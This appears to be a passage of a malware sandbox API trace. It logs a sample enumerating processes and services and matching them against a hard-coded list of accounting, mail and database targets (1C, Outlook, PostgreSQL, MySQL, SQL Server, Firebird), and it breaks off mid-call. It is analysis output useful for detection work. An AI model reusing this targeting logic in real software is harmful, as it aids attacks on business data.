Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.416] lstrlenW (lpString="services.exe") returned 12 [0264.416] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0264.416] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0264.416] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0264.416] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0264.416] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0264.416] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0264.416] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0264.416] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.417] lstrlenW (lpString="lsass.exe") returned 9 [0264.417] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0264.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0264.417] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0264.417] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0264.417] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0264.417] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0264.417] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0264.417] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.417] lstrlenW (lpString="lsm.exe") returned 7 [0264.417] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0264.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0264.417] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0264.417] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0264.417] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0264.417] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0264.417] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0264.417] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.418] lstrlenW (lpString="svchost.exe") returned 11 [0264.418] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.418] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.418] lstrlenW (lpString="svchost.exe") returned 11 [0264.418] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.418] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.418] lstrlenW (lpString="svchost.exe") returned 11 [0264.418] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.419] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.419] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.419] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.419] lstrlenW (lpString="svchost.exe") returned 11 [0264.419] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.419] lstrlenW (lpString="svchost.exe") returned 11 [0264.419] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.420] lstrlenW (lpString="audiodg.exe") returned 11 [0264.420] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.420] lstrlenW (lpString="svchost.exe") returned 11 [0264.420] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.420] lstrlenW (lpString="svchost.exe") returned 11 [0264.420] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0264.421] lstrlenW (lpString="userinit.exe") returned 12 [0264.421] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.421] lstrlenW (lpString="dwm.exe") returned 7 [0264.421] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.421] lstrlenW (lpString="explorer.exe") returned 12 [0264.421] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.421] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.421] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.422] lstrlenW (lpString="taskhost.exe") returned 12 [0264.422] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.422] lstrlenW (lpString="svchost.exe") returned 11 [0264.422] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0264.422] lstrlenW (lpString="uyuquk.exe") returned 10 [0264.422] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0264.423] lstrlenW (lpString="reader_sl.exe") returned 13 [0264.423] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0264.423] CloseHandle (hObject=0x390) returned 1 [0264.423] Sleep (dwMilliseconds=0x1f4) [0265.082] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6147c0 [0265.297] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0265.297] GetLastError () returned 0xea [0265.297] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x57af28 [0265.297] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57af28, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57af28, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0265.298] CloseServiceHandle (hSCObject=0x6147c0) returned 1 [0265.298] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.298] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.298] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.298] lstrlenW (lpString="AudioSrv") returned 8 [0265.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0265.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0265.298] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0265.298] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0265.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0265.298] lstrlenW (lpString="BFE") returned 3 [0265.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.298] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.298] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.298] lstrlenW (lpString="CryptSvc") returned 8 [0265.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0265.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0265.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0265.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0265.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0265.298] lstrlenW (lpString="CscService") returned 10 [0265.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0265.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0265.299] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0265.299] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0265.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0265.299] lstrlenW (lpString="DcomLaunch") returned 10 [0265.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.299] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.299] lstrlenW (lpString="Dhcp") returned 4 [0265.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.299] lstrlenW (lpString="Dnscache") returned 8 [0265.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.299] lstrlenW (lpString="DPS") returned 3 [0265.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0265.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0265.300] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0265.300] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0265.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0265.300] lstrlenW (lpString="eventlog") returned 8 [0265.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0265.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0265.300] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0265.300] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0265.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0265.300] lstrlenW (lpString="EventSystem") returned 11 [0265.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.300] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.300] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.300] lstrlenW (lpString="gpsvc") returned 5 [0265.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.300] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.300] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.300] lstrlenW (lpString="LanmanWorkstation") returned 17 [0265.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.300] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0265.300] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0265.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0265.300] lstrlenW (lpString="lmhosts") returned 7 [0265.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.300] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.300] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.300] lstrlenW (lpString="MMCSS") returned 5 [0265.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0265.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0265.301] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0265.301] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0265.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0265.301] lstrlenW (lpString="MpsSvc") returned 6 [0265.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.301] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.301] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.301] lstrlenW (lpString="NlaSvc") returned 6 [0265.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0265.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0265.301] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0265.301] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0265.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0265.301] lstrlenW (lpString="nsi") returned 3 [0265.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.301] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.301] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.301] lstrlenW (lpString="PcaSvc") returned 6 [0265.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0265.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0265.301] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0265.301] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0265.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0265.301] lstrlenW (lpString="PlugPlay") returned 8 [0265.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.301] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.301] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.301] lstrlenW (lpString="Power") returned 5 [0265.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.302] lstrlenW (lpString="ProfSvc") returned 7 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.302] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.302] lstrlenW (lpString="RpcSs") returned 5 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.302] lstrlenW (lpString="SamSs") returned 5 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.302] lstrlenW (lpString="Schedule") returned 8 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.302] lstrlenW (lpString="SENS") returned 4 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.303] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.303] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.303] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.303] lstrlenW (lpString="Spooler") returned 7 [0265.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.303] lstrlenW (lpString="SysMain") returned 7 [0265.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0265.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0265.303] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0265.303] lstrlenW (lpString="Themes") returned 6 [0265.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0265.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0265.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0265.303] lstrlenW (lpString="TrkWks") returned 6 [0265.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0265.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0265.303] lstrcmpiW 